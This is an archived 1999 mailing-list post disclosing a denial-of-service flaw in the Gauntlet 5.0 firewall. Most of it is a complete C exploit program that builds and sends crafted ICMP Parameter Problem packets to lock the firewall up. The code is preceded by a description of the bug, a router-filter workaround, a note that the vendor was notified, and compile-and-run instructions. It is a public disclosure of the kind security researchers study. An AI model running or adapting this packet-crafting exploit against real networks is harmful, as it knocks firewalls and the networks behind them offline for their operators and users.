Remotely Lock Up Gauntlet 5.0

From: Mike Frantzen (frantzenat_private)
Date: Fri Jul 30 1999 - 09:03:07 PDT

  • Next message: Mnemonix: "Some comments on"

    /*
     * Discovered and written by:  <godotat_private>          <- Send money to :-)
     *     aka     Mike Frantzen   <frantzenat_private>  <- Reply to
     *
     * Network Associates:  "Who's watching your network?"
     * MSG.net              "Who's watching the watchers?"
     *
     * This can be found online at http://www.msg.net/firewalls/tis/bland.c
     *
     * Description:
     *  If you know an IP that will be routed through a Gauntlet 5.0 Firewall,
     *  you can remotely lock up the firewall (tested against Solaris 2.6 and
     *  BSDI).  It locks up to the point that one packet will disable STOP-A
     *  (L1-A) on Sparcs and ~3-5 packets will disable Ctrl-Alt-Del on BSDI
     *  (Ctrl-Alt-Del still prompts Y/N but it never reboots).
     *
     *  **You can NOT send this to the Gauntlet's IP.  The packet must be one
     *  **that would go through the forwarding code.
     *
     *  If you are on local ether to the firewall, set it as your default route
     *  or otherwise send the packet to the firewall's MAC.
     *
     *  The packet is parsed before the packet filtering rules in Gauntlet.  So
     *  the only known work-around is to ACL out ICMP type 12 at your screening
     *  router.
     *  Or you could switch to Gauntlet 5.5 which (in the beta) does not seem to
     *  be vulnerable -- but 5.5 introduces some new 'issues'.
     *
     *
     * Technical Description of the packet:
     *  The packet is an ICMP Paramater Problem packet that encapsulates an IP
     *  packet with IP Options.  There is a random protocol in the encapsulated
     *  IP packet.  The trick is:  the inner packet MUST have IP Options.  Some
     *  options work, some don't.
     *  The firewall apparently is looking for the packet (or an entry in its
     *  transparency table) that matches the encapsulated packet.  It just keeps
     *  looking....  It likely has interrupts masked off on Solaris.
     *
     *
     * You need libnet to link this against.  It's a pretty spiffy lib.
     *   http://www.infonexus.com/~daemon9/Projects/Libnet
     *   http://www.packetfactory.net/libnet
     *
     *
     * For da script kiddies:
     *   Compile with 'gcc -o bland bland.c -lnet'
     *   ./bland -d <ip through the firewall>
     *   (Did you remember to install Libnet???)
     *
     *
     * If it doesn't compile on your machine:  I DON'T CARE!!!  This program was
     * a quick and dirty hack.  You try reading a hexdump of a packet off the
     * wire and writing something that can reproduce it.
     * I know it compiles and works from FreeBSD 3.1
     *
     *
     * Network Associates (TIS) was notified two weeks ago and they are working
     * on a patch.
     *
     *
     * Plugs:
     *  ISIC --  Program I used (and wrote) to find bugs in Gauntlet's IP stack.
     *           http://expert.cc.purdue.edu/~frantzen/isic-0.02.tar.gz
     *  Libnet --  Was able to write the basic exploit in 20 minutes because of
     *           libnet.  See libnet link above.  Thanks go out to Route!
     *
     *
     * Credits:
     *  Mike Frantzen <frantzenat_private>	Hey, thats me!
     *  Mike Scher <strangeat_private>
     *  Kevin Kadow <kadokevat_private>	      <-  Gauntlet Random Seed Hole
     *  Lenard Lynch <llynchat_private>
     *  Viki Navratilova <vnat_private>
     */
    
    #include <libnet.h>
    
    int main(int argc, char **argv)
    {
    	u_long src_ip = 0, dst_ip = 0, ins_src_ip = 0, ins_dst_ip = 0;
    	u_long *problem = NULL;
    	u_char *packet = NULL;
    	int sock, c, len = 0;
    	long acx, count = 1;
    	struct icmp *icmp;
    	struct ip *ip;
    
    	/* It appears that most IP options of length >0 will work
    	 * Works with 128, 64, 32, 16...  And the normal ones 137...
    	 * Does not work with 0, 1 */
    	u_char data[] = {137};
    	int data_len = sizeof(data);
    
    	printf("Written by Mike Frantzen...  <godotat_private>\n");
    	printf("For test purposes only... yada yada yada...\n");
    
    	src_ip = inet_addr("10.10.10.10");
    
    	while ( (c = getopt(argc, argv, "d:s:D:S:l:c:")) != EOF ) {
    	  switch(c) {
    		case 'd':	dst_ip = libnet_name_resolve(optarg, 1);
    				break;
    		case 's':	src_ip = libnet_name_resolve(optarg, 1);
    				break;
    		case 'D':	ins_dst_ip = name_resolve(optarg, 1);
    				break;
    		case 'S':	ins_src_ip = name_resolve(optarg, 1);
    				break;
    		case 'l':	data_len = atoi(optarg);
    				break;
    		case 'c':	if ( (count = atol(optarg)) < 1)
    					count = 1;
    				break;
    		default:	printf("Don't understand option.\n");
    				exit(-1);
    	  }
    	}
    
    	if ( dst_ip == 0 ) {
    	    printf("Usage: %s\t -d <destination IP>\t[-s <source IP>]\n",
    		rindex(argv[0], '/') == NULL ? argv[0]
    					: rindex(argv[0], '/') + 1);
    	    printf("\t\t[-S <inner source IP>]\t[-D <inner dest IP>]\n");
    	    printf("\t\t[-l <data length>]\t[-c <# to send>]\n");
    	    exit(-1);
    	}
    
    	if ( ins_dst_ip == 0 )
    		ins_dst_ip = src_ip;
    	if ( ins_src_ip == 0 )
    		ins_src_ip = dst_ip;
    
    	if ( (packet = malloc(1500)) == NULL ) {
    		perror("malloc: ");
    		exit(-1);
    	}
    	if ( (sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1 ) {
            	perror("socket: ");
            	exit(-1);
    	}
    
    	/* 8 is the length of the ICMP header with the problem field */
    	len = 8 + IP_H + data_len;
    	bzero(packet + IP_H, len);
    
            libnet_build_ip(len,                    /* Size of the payload */
                    0xc2,                           /* IP tos */
                    30241,                          /* IP ID */
                    0,                              /* Frag Offset & Flags */
                    64,                             /* TTL */
                    IPPROTO_ICMP,                   /* Transport protocol */
                    src_ip,                         /* Source IP */
                    dst_ip,                         /* Destination IP */
                    NULL,                           /* Pointer to payload */
                    0,
                    packet);                        /* Packet memory */
    
    
    	/* ICMP Header for Parameter Problem
    	 * --------------+---------------+---------------+---------------
    	 *| Type (12)	 |    Code (0)	 |	Checksum		 |
    	 * --------------+---------------+---------------+---------------
    	 *| Pointer	 |		unused				 |
    	 * --------------+---------------+---------------+---------------
    	 * Internet Header + 64 bits of original datagram data....
    	 */
    
    	icmp = (struct icmp *) (packet + IP_H);
    	problem = (u_long *) (packet + IP_H + 4);  /* 4 = ICMP header  */
    	icmp->icmp_type	= ICMP_PARAMPROB;
    	icmp->icmp_code	= 0;		/* Indicates a problem pointer */
    	*problem = htonl(0x14000000);	/* Problem is 20 bytes into it */
    
    
    	/* Need to embed an IP packet within the ICMP */
    	ip = (struct ip *) (packet + IP_H + 8);	/* 8 = icmp header	*/
    	ip->ip_v	= 0x4;			/* IPV4			*/
    	ip->ip_hl	= 0xf;			/* Some IP Options	*/
    	ip->ip_tos	= 0xa3;			/* Whatever		*/
    	ip->ip_len	= htons(data_len);	/* Length of packet	*/
    	ip->ip_id	= 30241;		/* Whatever		*/
    	ip->ip_off	= 0;			/* No frag's		*/
    	ip->ip_ttl	= 32;			/* Whatever		*/
    	ip->ip_p	= 98;			/* Random protocol	*/
    	ip->ip_sum	= 0;			/* Will calc later	*/
    	ip->ip_src.s_addr = ins_src_ip;
    	ip->ip_dst.s_addr = ins_dst_ip;
    
    	/* Move our data block into the packet */
    	bcopy(data, (void *) (packet + IP_H + IP_H + 8), data_len);
    
    	/* I hate checksuming.  Spent a day trying to get it to work in
    	 * perl...  That sucked...  Tequilla would have helped immensly.
    	 */
    	libnet_do_checksum((unsigned char *) ip, IPPROTO_IP, data_len);
    
    	/* Bah...  See above comment.... */
    	libnet_do_checksum(packet, IPPROTO_ICMP, len);
    
    
    	printf("Sending %li packets", count);
    	for (acx = 0; acx < count; acx++) {
    	   if( libnet_write_ip(sock, packet, len + IP_H)  < (len + IP_H))
     		perror("write_ip: ");
    	   else printf(".");
    	}
    	printf("\n\n");
    	return( 0 );
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:54:27 PDT